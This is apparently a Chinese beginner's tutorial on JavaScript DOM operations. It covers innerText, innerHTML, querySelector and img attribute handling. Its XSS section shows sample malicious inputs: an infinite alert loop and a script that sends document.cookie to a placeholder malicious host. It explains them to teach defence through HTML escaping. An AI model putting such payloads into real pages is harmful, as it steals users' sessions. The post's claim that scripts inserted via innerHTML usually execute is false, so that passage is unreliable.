对于JavaScript:操作元素的解析

开篇介绍:

hello 大家,本篇博客我们来学习JavaScript中的操作元素,其实我们上一篇博客就有解析了,只不过本篇博客会更加详细哦~


前置基础:先把 DOM 的本质彻底讲透

在讲任何元素操作之前,我们必须先把「DOM 到底是什么」这件事,从浏览器的底层执行逻辑讲明白 ------ 这是所有元素操作的根基,之前的内容这里铺垫不足,现在我们用最通俗的语言,把它拆解得明明白白。

什么是 DOM?从浏览器加载页面的全过程讲起

你写的 HTML 代码,本质上只是一串纯文本字符串 ,浏览器本身是看不懂这串字符串的,它只认识二进制代码。所以当你在浏览器里打开一个 HTML 文件时,浏览器会做一套完整的、流水线式的工作,其中和我们 DOM 操作最相关的,就是HTML 解析与 DOM 树构建这一步。

我把这个过程拆成 6 个完全无跳步的步骤,每一步都给你讲透:

  1. 第一步:浏览器读取 HTML 纯文本 浏览器会先把你写的 HTML 文件,从硬盘或者服务器上完整读取下来,拿到一长串连续的纯文本,比如你写的<div><span>你好</span></div>,在浏览器眼里,一开始只是一串没有任何意义的字符组合,和你随便敲的asdfghjkl没有本质区别。
  2. 第二步:词法分析 ------ 把字符串拆成 "令牌" 浏览器会启动一个叫「HTML 解析器」的程序,把这串纯文本,按照 HTML 的语法规则,拆成一个个有意义的最小单元,这个单元叫「令牌(Token)」。比如<div>会被拆成「开始标签令牌,标签名 div」,</div>会被拆成「结束标签令牌,标签名 div」,你好会被拆成「文本令牌,内容你好」。
  3. 第三步:语法分析 ------ 构建 DOM 树 解析器会拿着这些令牌,按照 HTML 的嵌套规则,生成一个树形结构的对象 ,这个对象,就是文档对象模型(Document Object Model) ,简称 DOM。这里的核心重点来了:DOM 不是你的 HTML 代码,而是浏览器把 HTML 代码解析后,在内存里生成的一个「JavaScript 对象集合」。你的 HTML 代码只是 DOM 的 "设计图纸",而真正存在于浏览器运行内存里的、我们能通过 JS 操作的,是这个由无数个 JS 对象组成的 DOM 树。
  4. 第四步:每一个 HTML 标签,都会变成一个 JS 对象 你写的每一个 HTML 标签,比如<div>、<button>、<img>、<input>,在 DOM 树里都会变成一个独立的、专属的 JS 对象,这个对象我们叫它「元素节点对象」,简称「元素对象」。你写在 HTML 标签上的所有内容:标签里的文本、标签上的属性(比如 src、alt、id、class)、标签的嵌套关系,都会被浏览器一一映射到这个元素对象上,变成这个对象的属性和方法。
  5. 第五步:document 对象 ------DOM 树的总入口 浏览器会给整个 DOM 树,提供一个唯一的、全局的总入口,这个入口就是document对象。这个对象是浏览器直接挂载到全局作用域里的,你在 JS 的任何地方,都可以直接访问到它。我们所有的 DOM 操作,本质上都是从document这个总入口出发,去找到对应的元素对象,然后修改这个对象的属性和方法。
  6. 第六步:修改 DOM 对象,页面会实时更新浏览器渲染页面,是根据内存里的 DOM 树来渲染的。也就是说,页面上显示的内容,是 DOM 树的 "可视化结果"。所以当你通过 JS 修改了 DOM 树里的某个元素对象的属性时,浏览器会立刻察觉到这个变化,然后重新渲染页面上对应的部分,你就能在页面上实时看到修改后的效果。

一句话总结所有 DOM 操作的本质:我们写的所有 JS 元素操作代码,本质上就是「从 document 入口找到内存里的元素对象 → 读取 / 修改这个对象的属性 → 浏览器自动同步更新页面渲染」。

这就是为什么我们所有的代码,都是先写document.getElementById()、document.querySelector()------ 因为我们要先从 DOM 树的总入口,找到我们要操作的那个元素对象,把它从内存里 "拿出来",存到一个变量里,后面才能对它进行各种操作。


第一章:获取 / 修改元素内容 超极致逐点解析

1.1 innerText 全维度超详细解析

1.1.1 innerText 的底层定义:到底什么是 "渲染文本内容"?

之前我们说Element.innerText表示一个节点及其后代的 "渲染" 文本内容,这句话我们之前只做了简单解释,现在我们把它拆成 3 个核心关键词,每个词都讲透:

  1. Element:这里的 Element,指的就是我们从 DOM 树里拿到的「元素节点对象」。也就是说,innerText 不是一个全局的方法,它是每一个元素对象本身就自带的一个属性,每一个 HTML 标签对应的元素对象,都有这个属性。
  2. 节点及其后代 :这里的 "节点",指的是你调用 innerText 的那个元素本身;"后代",指的是这个元素标签里嵌套的所有子元素、孙元素、重孙元素...... 不管嵌套多少层,都会被 innerText 覆盖到。举个例子:你有一个<div>,里面嵌套了<p>,<p>里又嵌套了<span>,<span>里有文本。当你调用div.innerText时,它会把 div 里所有嵌套的标签里的文本,全部提取出来,不管嵌套了多少层。
  3. 渲染文本内容:这是 innerText 最核心的本质,也是它和 innerHTML 最大的区别之一。这里的 "渲染",指的是「浏览器最终把页面画在屏幕上,用户肉眼能看到的文本内容」。这里的底层逻辑是:innerText 在读取内容的时候,不是直接去读你的 HTML 源码,而是先去问浏览器的「渲染引擎」:"这个元素,最终渲染给用户看的文本是什么?",然后把渲染引擎返回的结果给你。这就是为什么 innerText 会忽略 HTML 标签、忽略源码里的换行和空格 ------ 因为浏览器在渲染页面的时候,本身就会把 HTML 标签解析成样式和结构,不会把标签本身显示给用户;也会把源码里的多个空格、回车换行,全部合并成一个空格显示。innerText 只是忠实地把用户最终看到的内容,原封不动地拿给你。
1.1.2 逐行代码解析:innerText 的读操作与写操作

我们先看最基础的 innerText 读写代码,之前的内容里我们只给了代码,现在我们对每一行、每一个字符都做极致解析:

基础示例代码
复制代码
<button id="btn">点我一下</button>
<script>
var btn = document.getElementById('btn');
btn.onclick = function () {
alert("hello world");
}
// 读操作
var renderedText = HTMLElement.innerText;
// 写操作
HTMLElement.innerText = string;
</script>
逐行逐字符全解析
  1. 第一行:<button id="btn">点我一下</button>

    • 这是一个 HTML 的 button 标签,我们给它加了一个id="btn"的属性。
    • 这里的核心解析:id 属性的作用,就是给这个元素在整个 DOM 树里,加一个唯一的身份证号。整个 HTML 文档里,同一个 id 只能出现一次,这样浏览器才能通过 id,精准地找到这个唯一的元素。
    • 标签中间的「点我一下」,是这个 button 元素的「文本子节点」,也就是我们要通过 innerText 读取和修改的内容。
  2. 第二行:<script>

    • 这是 HTML 的脚本标签,浏览器遇到这个标签,就会知道:标签里面的内容,不是 HTML 代码,而是 JavaScript 代码,需要用 JS 解析器来执行。
  3. 第三行:var btn = document.getElementById('btn'); 这一行是 DOM 操作最基础的入门代码,我们把它拆成 4 个部分,每个部分都讲透:

    • var btn :这是在 JS 里,用 var 关键字声明一个变量,变量名叫做 btn。变量的本质,就是在内存里开辟一个小空间,用来存东西。这里我们声明这个变量,就是为了后面把找到的 button 元素对象,存到这个空间里,后面就不用每次都重新找一遍元素了。
      • 新手误区解析:很多新手会问,为什么不直接写document.getElementById('btn').onclick = ...,非要存到变量里?这里有两个核心原因:第一,代码可读性更高,你看到 btn 就知道是按钮,不用每次都看一长串代码;第二,性能更高,document.getElementById()每次执行,都会去整个 DOM 树里遍历查找元素,如果你要多次操作这个元素,每次都查找一遍,会浪费性能,存到变量里,只需要查找一次,后面直接用变量就行。
    • = :这是 JS 里的赋值运算符,不是数学里的等于号。它的作用是:把等号右边的计算结果,存到等号左边的变量里。很多新手会搞反赋值的方向,记住:永远是右边的值,赋给左边的变量。
    • document:这就是我们前面讲的,DOM 树的全局总入口,浏览器给我们提供的全局对象,所有的 DOM 操作都从这里出发。
    • .getElementById('btn') :这是 document 对象自带的一个方法,方法的本质就是 "对象自带的、能完成某个特定功能的函数"。
      • 我们把这个方法名拆开:get是获取,Element是元素,By是通过,Id是 id 属性。连起来就是:「通过 id 属性,获取对应的元素对象」。
      • 括号里的'btn',是这个方法的参数,也就是你要找的元素的 id 值,必须和 HTML 标签里写的 id 完全一致,大小写也要一致,因为 HTML 的 id 是大小写敏感的。
      • 这个方法的执行结果,就是返回 DOM 树里,id 为 btn 的那个元素对象。如果找不到对应的元素,就会返回 null。
    • 这一行代码的完整执行逻辑:浏览器先执行等号右边的代码,从 document 总入口出发,调用 getElementById 方法,在整个 DOM 树里找到 id 为 btn 的 button 元素对象,然后把这个对象,存到左边我们声明的 btn 变量里。从此以后,我们操作 btn 变量,就等于直接操作页面上的那个 button 元素。
  4. 第四行到第七行:按钮的点击事件注册

    复制代码
    btn.onclick = function () {
    alert("hello world");
    }

    这一段是给按钮注册点击事件,我们之前只说了功能,现在逐行解析底层逻辑:

    • btn.onclick :btn 是我们存的 button 元素对象,onclick是这个元素对象自带的一个事件属性。所有能和用户交互的元素,都有这个属性,它的作用是:「当这个元素被鼠标点击时,要执行什么代码」。
      • 底层解析:onclick 属性的默认值是 null,也就是默认点击元素的时候,什么都不做。我们要做的,就是给这个属性,赋值一个函数,当点击事件发生时,浏览器会自动执行这个函数里的代码。
    • = function () { ... } :这里我们给 onclick 属性,赋值了一个「匿名函数」。匿名函数,就是没有名字的函数,因为我们只需要在这里用一次,不需要在别的地方调用它,所以不用给它起名字。
      • 新手核心误区解析:很多新手会在这里写btn.onclick = alert("hello world");,然后发现页面一加载,就弹出了弹窗,根本不用点击按钮。这是最经典的新手错误,我们必须把底层逻辑讲透:
        • 如果你写alert("hello world"),浏览器会立刻执行这个 alert 函数,弹出弹窗,然后把 alert 函数的返回值(undefined),赋给 onclick 属性。所以页面一加载就会弹窗,点击按钮反而什么都不做,因为 onclick 里存的是 undefined,不是函数。
        • 如果你写function () { alert("hello world"); },你只是把这个函数的 "代码本体",赋给了 onclick 属性,浏览器不会立刻执行函数里的代码,只会把它存起来,等到点击事件发生的时候,才会执行函数里的代码。
        • 一句话记住:给事件属性赋值,必须赋值一个函数本体,而不是函数的执行结果。
    • 函数体里的alert("hello world"); :alert 是浏览器提供的全局方法,它的作用是在页面上弹出一个模态弹窗,弹窗里显示括号里的字符串内容。这里的"hello world"是字符串参数,也就是要显示的内容。
  5. 第九行:var renderedText = HTMLElement.innerText;(读操作) 这一行是 innerText 的读操作,我们把每一个细节讲透:

    • 这里的HTMLElement,不是让你直接写这个单词,而是一个代指,代指你前面拿到的、具体的元素对象变量,也就是我们前面的 btn。正确的写法应该是var renderedText = btn.innerText;。
    • 读操作的底层执行逻辑:当你读取元素对象.innerText时,浏览器会做这几件事:
      1. 找到这个元素对应的渲染节点,去渲染引擎里拿到这个元素最终渲染给用户的文本内容。
      2. 把所有后代元素里的文本,全部合并起来,去掉所有 HTML 标签,去掉源码里的换行和多余空格,合并成一个完整的字符串。
      3. 把这个字符串,作为 innerText 属性的值,返回给你,然后你可以把它存到变量里,做后续的操作。
    • 用我们的 button 示例来说,执行var renderedText = btn.innerText;之后,renderedText 变量里存的,就是字符串"点我一下",也就是按钮上显示给用户看的文本。
  6. 第十一行:HTMLElement.innerText = string;(写操作) 这一行是 innerText 的写操作,也就是修改元素的文本内容,我们讲透底层逻辑:

    • 同样,HTMLElement代指具体的元素对象,string代指你要设置的字符串内容。比如我们要把按钮的文字改成 "你已经点过了",正确的写法是btn.innerText = "你已经点过了";。
    • 写操作的底层执行逻辑:当你给元素对象.innerText赋值一个字符串时,浏览器会做这几件事:
      1. 先把这个元素里的所有后代节点,全部删除------ 不管你之前里面有多少嵌套的 HTML 标签、多少文本,全部清空。
      2. 把你赋值的字符串,当成纯文本内容,生成一个新的文本节点,插入到这个元素里。
      3. 立刻触发页面的重新渲染,把新的文本内容,显示在页面上。
    • 这里的核心重点:不管你赋值的字符串里,有没有 HTML 标签,比如btn.innerText = "<span>你好</span>";,浏览器都会把<span>这些字符,当成纯文本显示在页面上,绝对不会把它解析成 HTML 标签。这就是 innerText 最核心的安全特性,也是它和 innerHTML 最大的区别。
1.1.3 innerText 新手必踩的 5 个坑 全解析
  1. 坑 1:读取不到隐藏元素的文本 如果一个元素的 CSS 样式里设置了display: none;,也就是元素在页面上是隐藏的,不参与渲染的,那么你读取这个元素的 innerText,会得到一个空字符串。因为 innerText 是拿 "渲染后的文本",元素不渲染,自然就拿不到文本。
    • 解决方案:如果你要读取隐藏元素的文本,用 textContent 属性(这个属性是 W3C 标准的,和 innerText 类似,但它会读取所有节点的文本,不管元素是否渲染)。
  2. 坑 2:赋值的时候忘记加引号 很多新手会写btn.innerText = 点我一下;,而不是btn.innerText = "点我一下";。这里的核心错误是:在 JS 里,字符串必须用单引号或者双引号包裹起来,否则浏览器会把 "点我一下" 当成变量名,而你没有声明过这个变量,就会报Uncaught ReferenceError: 点我一下 is not defined的错误。
  3. 坑 3:用 innerText 拼接 HTML 结构,发现标签不生效 很多新手想给元素里加一段带标签的内容,写了div.innerText = "<p>你好</p>";,然后发现页面上直接显示了<p>你好</p>,而不是一个 p 标签。这就是因为 innerText 永远把内容当成纯文本,不会解析 HTML 标签,这个场景应该用 innerHTML。
  4. 坑 4:元素还没加载完成,就执行了 JS 代码 很多新手会把 JS 代码写在<head>标签里,或者写在 HTML 元素的前面,然后发现document.getElementById()返回 null,操作 innerText 时报错。这是因为浏览器是从上到下解析 HTML 代码的,如果你在元素还没被解析成 DOM 节点的时候,就执行 JS 代码去找这个元素,自然是找不到的。
    • 解决方案:把 JS 代码写在 HTML 元素的后面,也就是</body>标签的前面,或者给代码加DOMContentLoaded事件监听,等 DOM 树加载完成后再执行 JS 代码。
  5. 坑 5:混淆了 innerText 和 value 很多新手会给 input 输入框用 innerText 来获取内容,写了var content = input.innerText;,然后发现永远拿到空字符串。这是因为 input 是单标签元素,它没有闭合标签里的文本内容,它的内容是存在 value 属性里的,必须用input.value来获取,这个我们在表单属性部分会彻底讲透。

1.2 innerHTML 全维度超详细解析

1.2.1 innerHTML 的底层定义:到底什么是 "HTML 语法表示的元素后代"?

之前我们给 innerHTML 的定义是「设置或获取 HTML 语法表示的元素的后代」,现在我们把这句话拆解得明明白白,讲透它的底层本质。

首先,我们先明确 innerHTML 和 innerText 最核心的底层区别:

  • innerText 的操作对象是「渲染后的纯文本」,它只关心用户能看到的文字。
  • innerHTML 的操作对象是「元素内部的完整 HTML 结构」,它关心的是元素里的所有 HTML 代码、标签、属性、文本,也就是你写在 HTML 源码里的完整内容。

我们把定义里的两个核心关键词讲透:

  1. HTML 语法表示 :这是 innerHTML 最核心的特性。也就是说,innerHTML 在读取和赋值的时候,都会把内容当成「符合 HTML 语法规则的代码字符串」来处理,而不是纯文本。
    • 当你读取 innerHTML 时,它会把元素内部的所有 HTML 标签、属性、文本、换行空格,完整地转换成 HTML 语法的字符串,原封不动地返回给你。
    • 当你给 innerHTML 赋值时,它会把你给的字符串,交给浏览器的 HTML 解析器,当成真正的 HTML 代码来解析,生成对应的 DOM 节点,插入到元素里,替换原来的所有内容。
  2. 元素的后代:和 innerText 一样,innerHTML 覆盖的是元素内部的所有后代节点,包括所有的子元素、文本节点、注释节点等等,不管嵌套多少层,都会被 innerHTML 完整覆盖。
1.2.2 逐行代码解析:innerHTML 的读操作与写操作

我们用最基础的 innerHTML 示例代码,做逐行逐字符的全解析,彻底讲透它的执行逻辑。

基础示例代码
复制代码
<div>
<span>hello world</span>
<span>hello world</span>
</div>
<script>
var div = document.querySelector('div');
// 读操作
var content = element.innerHTML;
// 写操作
element.innerHTML = htmlString;
</script>
逐行逐字符全解析
  1. 第一行到第五行:HTML 结构

    复制代码
    <div>
    <span>hello world</span>
    <span>hello world</span>
    </div>
    • 这里我们写了一个 div 元素,里面嵌套了两个 span 元素,每个 span 里都有文本hello world。
    • 注意:我们在源码里加了换行和缩进,用来排版,这些换行和缩进,在 innerHTML 读取的时候,会完整保留下来,而 innerText 会把它们去掉,这是两者的核心区别之一。
  2. 第七行:var div = document.querySelector('div'); 这一行是获取 div 元素,我们之前讲了 getElementById,现在我们把 querySelector 也彻底讲透:

    • querySelector是 document 对象和元素对象都自带的一个方法,它的作用是「通过 CSS 选择器,找到匹配的第一个元素对象」。

    • 括号里的'div',就是 CSS 选择器,这里是标签选择器,意思是找页面上的第一个 div 元素。

    • 它和 getElementById 的区别,我们做超详细对比:

      特性 getElementById querySelector
      查找依据 只能通过 id 属性查找 可以通过所有 CSS 选择器查找(id、class、标签、属性、后代选择器等等)
      返回值 找到返回元素对象,找不到返回 null 找到匹配的第一个元素对象,找不到返回 null
      性能 极高,浏览器内部对 id 有索引,直接查找,不用遍历 较高,复杂选择器需要遍历 DOM 树匹配
      语法 括号里直接写 id 值,不用加# 括号里写 CSS 选择器,id 要加 #,class 要加.
    • 举个例子:如果我们要找 class 为 box 的元素,getElementById 做不到,但是 querySelector 可以写document.querySelector('.box');如果我们要找 div 里的 span 元素,可以写document.querySelector('div span'),这就是 querySelector 的强大之处,它支持所有的 CSS 选择器语法,灵活性极高。

    • 这一行代码的执行逻辑:浏览器从 document 出发,调用 querySelector 方法,用 div 标签选择器,找到页面上第一个 div 元素对象,把它存到 div 变量里。

  3. 第九行:var content = element.innerHTML;(读操作)

    • 这里的 element 代指我们拿到的 div 元素,正确写法是var content = div.innerHTML;。

    • 读操作的底层执行逻辑:当你读取元素对象.innerHTML时,浏览器会做这几件事:

      1. 遍历这个元素内部的所有后代节点,包括元素节点、文本节点、注释节点等等。
      2. 把这些节点,完整地转换成符合 HTML 语法的字符串,包括所有的标签名、属性、属性值、文本内容,甚至连你源码里的换行、缩进、空格,都会完整保留下来。
      3. 把这个完整的 HTML 字符串,作为 innerHTML 属性的值返回给你,存到 content 变量里。
    • 用我们的示例来说,执行var content = div.innerHTML;之后,content 变量里存的字符串,就是:

      复制代码
      <span>hello world</span>
      <span>hello world</span>

      连我们源码里的换行和缩进,都完整保留了下来,和你写的 HTML 源码一模一样。而如果用 innerText 读取,得到的只是hello world hello world,没有任何标签和换行。

  4. 第十一行:element.innerHTML = htmlString;(写操作)

    • 这里的 element 代指 div 元素,htmlString 代指你要设置的 HTML 代码字符串,比如我们要把 div 里的内容改成一个 span 标签,正确写法是div.innerHTML = '<span>hello js</span>';。
    • 写操作的底层执行逻辑:这是 innerHTML 最核心、最强大的部分,我们把它拆成 6 个步骤,讲透浏览器的每一步操作:
      1. 第一步:清空原有内容 :浏览器会先把这个元素里的所有后代节点,包括所有的元素、文本、注释,全部从 DOM 树里删除,彻底清空这个元素的内部。
      2. 第二步:解析 HTML 字符串:浏览器会把你赋值的字符串,交给 HTML 解析器,当成真正的 HTML 代码来解析,生成对应的 DOM 节点树。
      3. 第三步:执行代码中的脚本 :如果你的 HTML 字符串里包含<script>标签,浏览器会执行里面的 JavaScript 代码(这里有安全限制,部分场景下不会执行,但大部分场景下是可以的,这也是 XSS 安全风险的根源)。
      4. 第四步:插入新的 DOM 节点:把解析生成的新的 DOM 节点树,完整地插入到这个元素里,成为它的新的后代节点。
      5. 第五步:触发样式计算:浏览器会计算新插入的元素的 CSS 样式,确定它们的布局和外观。
      6. 第六步:重新渲染页面:浏览器会把新的 DOM 结构,重新渲染到页面上,你就能立刻看到修改后的效果。
    • 这里的核心重点:你赋值的字符串里的所有 HTML 标签,都会被浏览器解析成真正的 DOM 元素,而不是纯文本。比如你写div.innerHTML = '<span style="color: red;">红色文字</span>';,页面上会显示红色的文字,而不是把<span>标签显示出来。
1.2.3 innerHTML 核心特性与安全风险 超详细解析
特性 1:innerHTML 可以一次性生成复杂的 DOM 结构

这是 innerHTML 在实际开发中用得最多的场景,也是它比 innerText、比逐个创建节点更方便的地方。举个例子:你从后端拿到了一个商品列表的数据,是一个数组,里面有 10 个商品对象,每个对象有商品名称、价格、图片地址。如果你要把这些商品渲染到页面上,用 innerHTML 只需要拼接一个 HTML 字符串,一次性赋值就行,代码非常简洁。

  • 新手误区解析:很多新手会问,为什么不用 innerText 一个个加?因为 innerText 只能加纯文本,不能生成带标签、带样式、带结构的商品卡片,而 innerHTML 可以直接生成完整的 HTML 结构,这是它不可替代的优势。
特性 2:innerHTML 赋值会覆盖原有内容,拼接要用 +=

很多新手会犯一个错误:想给元素里追加内容,写了div.innerHTML = '<p>新内容</p>';,然后发现原来的内容都没了。这是因为直接用=赋值,会先清空原有内容,再添加新内容。

  • 正确的追加写法:div.innerHTML += '<p>新内容</p>';。这里的+=是 JS 里的追加赋值运算符,它的作用是:把等号右边的字符串,拼接到原来的字符串的后面,再重新赋值给 innerHTML。
  • 底层逻辑解析:div.innerHTML += '新内容',本质上等价于div.innerHTML = div.innerHTML + '新内容'。浏览器会先读取原来的 innerHTML 字符串,把新内容拼到后面,再把完整的字符串重新赋值给 innerHTML,重新解析渲染。
特性 3:innerHTML 的 XSS 安全风险 超详细拆解

这是 innerHTML 最需要注意的地方,之前我们只提了一句,现在我们把它彻底讲透,让你彻底明白什么是 XSS,为什么 innerHTML 会有风险,怎么防范。

什么是 XSS 攻击?

XSS 的全称是跨站脚本攻击(Cross-Site Scripting),简单来说,就是恶意用户,在你的网站里注入恶意的 JavaScript 代码,这些代码会在其他用户的浏览器里执行,从而盗取用户的 cookie、账号信息,或者篡改页面内容,发起钓鱼攻击等等。

而 innerHTML,就是 XSS 攻击最常见的入口之一,因为它会解析 HTML 字符串里的脚本代码,执行里面的 JS。

举一个真实的攻击示例

假设你做了一个留言板功能,用户可以在输入框里输入留言内容,然后你用 innerHTML 把用户的留言显示在页面上。

  • 正常用户输入:你好,这个网站真不错!,你用 innerHTML 插入,页面正常显示,没有任何问题。
  • 恶意用户输入:<script>while(true){alert('你的网站被我黑了!');}</script>,这是一段死循环弹窗的恶意代码。
  • 如果你直接用div.innerHTML = 用户输入的内容;,浏览器会解析这段字符串里的<script>标签,执行里面的恶意代码,所有打开这个留言页面的用户,都会陷入无限弹窗的死循环,只能强制关闭浏览器。
  • 更严重的恶意代码:可以写<script>fetch('https://恶意网站.com/steal?cookie=' + document.cookie)</script>,这段代码会把用户的登录 cookie,发送到恶意用户的服务器上,恶意用户拿到 cookie,就可以冒充这个用户登录你的网站,盗取用户的账号、财产信息。
为什么 innerText 没有这个风险?

因为 innerText 会把所有的内容都当成纯文本,哪怕你输入了<script>标签,它也会把<、>这些字符,当成普通的文本显示在页面上,绝对不会交给 HTML 解析器去解析,更不会执行里面的代码。所以用 innerText 插入用户输入的内容,是绝对安全的,不会有 XSS 风险。

innerHTML 的安全防范方案

如果你必须用 innerHTML 插入用户输入的内容,必须先对内容做「HTML 转义」,也就是把 HTML 里的特殊字符,转换成对应的实体字符,让浏览器不会把它们当成 HTML 标签解析。

  • 核心转义规则:
    • < 转换成 &lt;
    • > 转换成 &gt;
    • " 转换成 &quot;
    • ' 转换成 &#39;
    • & 转换成 &amp;
  • 转义之后,<script>会变成&lt;script&gt;,浏览器会把它当成纯文本显示,不会解析成标签,自然就不会执行恶意代码了。
1.2.4 innerHTML 新手必踩的 4 个坑 全解析
  1. 坑 1:用 innerHTML 追加内容,导致事件绑定失效 很多新手会先给元素里的按钮绑定点击事件,然后用innerHTML +=追加新内容,然后发现原来的按钮的点击事件失效了。
    • 底层原因:我们前面讲过,innerHTML 赋值(包括 +=)的时候,会先清空元素里的所有原有节点,再重新解析字符串,生成新的节点。原来的节点被删除了,绑定在上面的事件自然也就没了,新生成的节点,需要重新绑定事件。
    • 解决方案:要么追加内容后重新绑定事件,要么用事件委托,要么用 appendChild 等节点操作方法追加内容,而不是 innerHTML。
  2. 坑 2:innerHTML 拼接字符串时,引号嵌套错误 很多新手在拼接 HTML 字符串的时候,会出现单引号和双引号嵌套错误,导致代码报错。比如写了div.innerHTML = "<p class="text">你好</p>";,这里外层用了双引号,里面的 class 属性也用了双引号,浏览器会把字符串当成"<p class=",后面的内容就会报错。
    • 解决方案:外层和内层的引号要错开,外层用双引号,内层就用单引号;或者外层用单引号,内层用双引号。正确写法:div.innerHTML = '<p class="text">你好</p>';。
  3. 坑 3:频繁用 innerHTML+= 追加内容,导致性能极差 很多新手会用 for 循环,循环 100 次,每次都用innerHTML += '<p>内容</p>'来追加内容。这会导致浏览器每次循环都要清空、重新解析、重新渲染页面,循环 100 次就会触发 100 次重排重绘,性能极差,页面会卡顿。
    • 解决方案:先在循环里把所有的 HTML 字符串拼接好,存到一个变量里,循环结束后,一次性用 innerHTML 赋值给元素,只触发 1 次解析和渲染。
  4. 坑 4:用 innerHTML 插入 table、tr、td 等元素,出现结构错乱 HTML 里的 table、tbody、tr、td 等元素,有严格的嵌套规则,如果你直接用div.innerHTML = '<tr><td>内容</td></tr>',浏览器会因为不符合嵌套规则,把 tr 标签过滤掉,导致结构错乱。
    • 解决方案:必须按照 HTML 的嵌套规则,生成完整的 table 结构,或者用 createElement 等节点操作方法来创建表格元素。

第二章:获取 / 修改元素属性 超极致全解析(增量版)

之前的内容里,我们讲了元素属性的基础用法,但没有对属性的底层映射逻辑、每一个属性的细节、代码的每一步执行逻辑做极致解析,现在我们彻底补全。

2.1 元素属性的底层本质:HTML 属性与 DOM 对象属性的映射关系

我们之前说,HTML 标签上的属性,会映射成 DOM 元素对象的属性,现在我们把这个映射过程,从浏览器的底层逻辑讲透,让你彻底明白为什么我们可以用元素.属性名来读写属性。

2.1.1 浏览器的属性映射过程 全步骤解析

当浏览器解析 HTML 标签,生成对应的元素对象时,会对标签上的属性,做一套完整的映射处理,步骤如下:

  1. 第一步:解析 HTML 标签上的属性 浏览器解析 HTML 标签时,会把标签上写的每一个属性名="属性值",都拆成「属性名」和「属性值」两个部分,比如<img src="rose.jpg" alt="玫瑰花">,会拆成src: rose.jpg、alt: 玫瑰花。
  2. 第二步:区分标准属性和自定义属性 浏览器会把属性分成两类:
    • 标准属性:HTML 规范里定义的、这个标签天生就支持的属性,比如 img 标签的 src、alt、title、width、height;a 标签的 href、target;所有标签都支持的 id、class、style 等等。
    • 自定义属性 :你自己随便写的、HTML 规范里没有的属性,比如<img myattr="123">里的 myattr,就是自定义属性。
  3. 第三步:标准属性的映射 对于标准属性,浏览器会把它们直接映射成元素对象的一级属性 ,属性名和 HTML 里的属性名基本一致(除了 class 映射成 className,for 映射成 htmlFor 等少数特殊情况),属性值就是 HTML 里写的属性值。
    • 这就是为什么我们可以直接写img.src、img.alt,因为这些标准属性,已经被浏览器映射成了 img 元素对象的一级属性,我们可以直接访问和修改。
  4. 第四步:自定义属性的处理 对于自定义属性,浏览器不会把它们映射成元素对象的一级属性,而是会把它们存到元素对象的attributes属性里,这是一个集合,里面存了元素的所有属性,包括标准属性和自定义属性。
    • 这就是为什么你写了<img myattr="123">,然后用img.myattr读取,会得到 undefined,因为它没有被映射成一级属性,必须用img.getAttribute('myattr')才能读取到。
2.1.2 核心规则:修改 DOM 对象属性,会同步更新 HTML 标签属性

这是 DOM 属性操作最核心的规则:对于标准属性来说,DOM 对象属性和 HTML 标签属性是双向绑定的。

  • 当你修改了 HTML 标签上的属性,DOM 对象对应的属性值会自动更新。
  • 当你用 JS 修改了 DOM 对象的属性值,HTML 标签上对应的属性,也会自动同步更新,浏览器会立刻重新渲染页面。

举个例子:你用 JS 写了img.src = "rose2.png";,不仅 img 元素对象的 src 属性值变了,页面上的 img 标签的 src 属性,也会被改成rose2.png,浏览器会立刻加载新的图片,重新渲染,页面上的图片就会切换。


2.2 逐行代码解析:img 元素属性的读取与修改

我们用之前的 img 元素示例代码,做逐行逐字符的全解析,彻底讲透每一步的执行逻辑。

基础示例代码
复制代码
<img src="rose.jpg" alt="这是一朵花" title="玫瑰花">
<script>
var img = document.querySelector('img');
console.dir(img);
console.log(img.src);
console.log(img.title);
console.log(img.alt);
img.onclick = function () {
if (img.src.lastIndexOf('rose.jpg') !== -1) {
img.src = './rose2.png';
} else {
img.src = './rose.jpg';
}
}
</script>
逐行逐字符全解析
  1. 第一行:<img src="rose.jpg" alt="这是一朵花" title="玫瑰花"> 这是 HTML 的 img 标签,我们给它加了三个标准属性:

    • src="rose.jpg":src 是 img 标签的核心标准属性,全称是 source,意思是资源地址,它的值是图片的文件路径,浏览器会根据这个路径,加载对应的图片文件,渲染到页面上。
    • alt="这是一朵花":alt 是 img 标签的标准属性,全称是 alternate,意思是替代文本。当图片加载失败时,浏览器会显示这个文本;同时,屏幕阅读器会读取这个文本,给视障用户描述图片内容,是无障碍访问的核心属性。
    • title="玫瑰花":title 是所有 HTML 标签都支持的标准属性,它的作用是,当用户把鼠标悬停在元素上时,浏览器会弹出一个小提示框,显示 title 的内容。
  2. **第三行:var img = document.querySelector('img');**这一行我们之前讲过,就是获取页面上第一个 img 元素对象,把它存到 img 变量里,后面所有的属性操作,都是基于这个元素对象来做的。

  3. 第四行:console.dir(img); 这一行是查看 img 元素对象的完整结构,我们把 console.dir 的底层逻辑讲透:

    • console是浏览器提供的全局控制台对象,它里面有很多方法,用来在控制台输出信息,方便我们调试代码。
    • dir是 console 对象的一个方法,全称是 directory,意思是目录。它的作用是,把你传入的对象,以 "树形目录" 的形式,完整地打印在控制台里,让你能看到这个对象的所有属性、方法、原型链。
    • 它和console.log的核心区别:对于 DOM 元素对象,console.log(img)会把元素打印成 HTML 标签的形式,就像你在 Elements 面板里看到的一样,方便你看结构;而console.dir(img)会把元素打印成 JS 对象的形式,让你能看到它所有的属性和方法,这就是我们为什么要用 console.dir 来查看元素对象的属性。
    • 执行这一行代码后,你打开控制台,就能看到 img 元素对象的完整结构,里面有我们讲的 src、alt、title、innerText、innerHTML、onclick 等等几百个属性和方法,这就是浏览器给我们生成的、完整的元素对象。
  4. 第五行到第七行:读取属性并打印

    复制代码
    console.log(img.src);
    console.log(img.title);
    console.log(img.alt);

    这三行是读取 img 元素的三个标准属性,把它们的值打印到控制台里,我们讲透每一个细节:

    • console.log():是 console 对象最常用的方法,作用是把括号里的内容,打印到控制台里,是我们调试代码最常用的工具。
    • img.src:读取 img 元素对象的 src 属性值。这里有一个核心细节:浏览器读取 src 属性时,会把你写的相对路径rose.jpg,自动解析成完整的绝对 URL 地址 ,比如http://127.0.0.1:5500/rose.jpg,而不是你写的相对路径字符串。
      • 底层原因:src 属性对应的是资源的完整地址,浏览器在加载图片的时候,会把相对路径转换成绝对路径,所以映射到 DOM 对象上的 src 属性,就是完整的绝对 URL。
    • img.title和img.alt:读取这两个属性时,会直接返回你在 HTML 里写的字符串,不会做任何转换,是什么就返回什么。
    • 执行这三行代码后,控制台会依次打印出图片的完整 URL 地址、玫瑰花、这是一朵花。
